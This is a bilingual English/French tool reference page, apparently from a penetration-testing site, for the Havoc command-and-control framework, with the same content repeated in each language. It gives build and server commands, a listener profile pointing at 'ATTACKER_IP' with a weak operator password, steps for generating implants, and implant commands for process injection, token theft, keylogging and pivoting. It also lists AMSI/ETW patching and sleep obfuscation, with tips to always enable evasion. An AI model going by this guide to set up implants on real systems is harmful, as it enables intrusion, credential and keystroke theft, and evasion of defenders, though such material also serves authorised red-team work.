← retour aux outils back to tools

# Havoc

Framework C2 open-source moderne avec des capacités d'évasion avancées. Dispose d'un implant Demon avec obfuscation de sleep, injection de processus, et support BOF. Modern open-source C2 framework with advanced evasion capabilities. Features a Demon implant with sleep obfuscation, process injection, and BOF support.

↗ https://github.com/HavocFramework/Havoc

## Overview

Havoc is an open-source C2 framework focused on evasion and modern Windows post-exploitation. Its Demon implant supports sleep obfuscation (heap encryption during sleep), indirect syscalls, AMSI/ETW bypasses, process injection, and Beacon Object File (BOF) execution.

## Server Setup

    # Clone and build
    git clone https://github.com/HavocFramework/Havoc
    cd Havoc

    # Build server (requires Go)
    cd teamserver
    go build . -o havoc

    # Build client (requires Qt6 + PyQt6)
    cd ../client
    make

Start the team server

    ./havoc server --profile ./profiles/havoc.yaotl -v

Connect the client

    ./havoc client

## Profile Configuration

    # profiles/havoc.yaotl
    Teamserver {
        Host = "0.0.0.0"
        Port = 40056

        Build {
            Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
            Nasm = "/usr/bin/nasm"
        }
    }

    Operators {
        user "operator" {
            Password = "password123"
        }
    }

    Listeners {
        Http {
            Name         = "http80"
            Hosts        = ["ATTACKER_IP"]
            HostBind     = "0.0.0.0"
            HostRotation = "round-robin"
            PortBind     = 80
            PortConn     = 80
            Secure       = false
        }
    }

## Generating Demons (Implants)

In the Havoc client GUI:

1. Attack → Payload → Configure
2. Select Listener, OS (Windows), Architecture (x64)
3. Format: Shellcode, PE, or DLL
4. Enable Evasion: Sleep Obfuscation, AMSI bypass, ETW patch
5. Generate and download

## Key Demon Commands

    # Basic recon
    whoami
    hostname
    ps
    ls
    pwd
    env
    netstat

    # Process injection
    inject --pid 1234 --shellcode /path/to/shellcode.bin

    # Token manipulation
    token steal --pid 1234
    token list

    # File operations
    upload /local/file.exe C:\\Temp\\file.exe
    download C:\\Temp\\data.txt /local/

    # Execute .NET assembly (in memory)
    dotnet inline-execute /path/to/Assembly.exe arg1

    # BOF execution (Beacon Object Files)
    bof /path/to/portscan.o 10.10.10.0/24 445

    # Pivoting
    socks 1080               # SOCKS5 proxy through implant
    rportfwd 8080 10.10.10.5 80

    # Screenshot
    screenshot

    # Keylogging
    keylogger start
    keylogger dump
    keylogger stop

## Evasion Features

    Sleep Obfuscation (Ekko/Foliage/Zilean)
      Encrypts implant heap during sleep periods — evades memory scanners

    Indirect Syscalls
      Calls Windows syscalls without going through ntdll.dll

    AMSI Bypass
      Patches amsi.dll in process memory

    ETW Bypass
      Patches EtwEventWrite to suppress telemetry

    Stack Spoofing
      Fakes call stack during sleep to avoid detection

## Tips

- Use `--profile` with a properly configured YAML for production ops
- Demon’s sleep obfuscation is its strongest evasion feature — always enable it
- BOF support means Cobalt Strike beacon object files can run in Havoc without modification
- The client supports multiple operators simultaneously (team operations)

Demon evasion options

    Sleep Obfuscation:
      None       No obfuscation
      Ekko       ROP-based sleep obfuscation
      Zilean     Timer-based obfuscation
      Foliage    APC-based obfuscation

    Injection techniques:
      CreateThread
      NtQueueApcThreadEx-s
      Process Hollowing
      Thread Hijacking

    Bypass options:
      AMSI bypass
      ETW patch
      Stack spoofing
      Indirect syscalls

## Vue d’ensemble

Havoc est un framework C2 open-source axé sur l’évasion et le post-exploitation Windows moderne. Son implant Demon supporte l’obfuscation de sleep (chiffrement du tas pendant le sommeil), les syscalls indirects, les contournements AMSI/ETW, l’injection de processus, et l’exécution de Beacon Object Files (BOF).

## Mise en place du serveur

    # Cloner et compiler
    git clone https://github.com/HavocFramework/Havoc
    cd Havoc

    # Compiler le serveur (nécessite Go)
    cd teamserver
    go build . -o havoc

    # Compiler le client (nécessite Qt6 + PyQt6)
    cd ../client
    make

Démarrer le team server

    ./havoc server --profile ./profiles/havoc.yaotl -v

Connecter le client

    ./havoc client

## Configuration du profil

    # profiles/havoc.yaotl
    Teamserver {
        Host = "0.0.0.0"
        Port = 40056

        Build {
            Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
            Nasm = "/usr/bin/nasm"
        }
    }

    Operators {
        user "operator" {
            Password = "password123"
        }
    }

    Listeners {
        Http {
            Name         = "http80"
            Hosts        = ["ATTACKER_IP"]
            HostBind     = "0.0.0.0"
            HostRotation = "round-robin"
            PortBind     = 80
            PortConn     = 80
            Secure       = false
        }
    }

## Générer des Demons (implants)

Dans le client graphique Havoc :

1. Attack → Payload → Configurer
2. Sélectionner le Listener, l’OS (Windows), l’architecture (x64)
3. Format : Shellcode, PE, ou DLL
4. Activer l’évasion : Sleep Obfuscation, contournement AMSI, patch ETW
5. Générer et télécharger

## Commandes Demon principales

    # Reconnaissance de base
    whoami
    hostname
    ps
    ls
    pwd
    env
    netstat

    # Injection de processus
    inject --pid 1234 --shellcode /path/to/shellcode.bin

    # Manipulation de tokens
    token steal --pid 1234
    token list

    # Opérations sur fichiers
    upload /local/file.exe C:\\Temp\\file.exe
    download C:\\Temp\\data.txt /local/

    # Exécuter un assembly .NET (en mémoire)
    dotnet inline-execute /path/to/Assembly.exe arg1

    # Exécution de BOF (Beacon Object Files)
    bof /path/to/portscan.o 10.10.10.0/24 445

    # Pivoting
    socks 1080               # Proxy SOCKS5 à travers l'implant
    rportfwd 8080 10.10.10.5 80

    # Capture d'écran
    screenshot

    # Keylogging
    keylogger start
    keylogger dump
    keylogger stop

## Fonctionnalités d’évasion

    Sleep Obfuscation (Ekko/Foliage/Zilean)
      Chiffre le tas de l'implant pendant les périodes de sommeil : évite les scanners mémoire

    Syscalls indirects
      Appelle les syscalls Windows sans passer par ntdll.dll

    Contournement AMSI
      Patche amsi.dll en mémoire du processus

    Contournement ETW
      Patche EtwEventWrite pour supprimer la télémétrie

    Stack Spoofing
      Falsifie la pile d'appels pendant le sommeil pour éviter la détection

## Conseils

- Utilisez `--profile` avec un YAML correctement configuré pour des opérations en production
- L’obfuscation de sleep de Demon est sa fonctionnalité d’évasion la plus forte : activez-la toujours
- Le support BOF signifie que les Beacon Object Files de Cobalt Strike peuvent tourner dans Havoc sans modification
- Le client supporte plusieurs opérateurs simultanément (opérations en équipe)

Options d'évasion Demon

    Sleep Obfuscation:
      None       No obfuscation
      Ekko       ROP-based sleep obfuscation
      Zilean     Timer-based obfuscation
      Foliage    APC-based obfuscation

    Injection techniques:
      CreateThread
      NtQueueApcThreadEx-s
      Process Hollowing
      Thread Hijacking

    Bypass options:
      AMSI bypass
      ETW patch
      Stack spoofing
      Indirect syscalls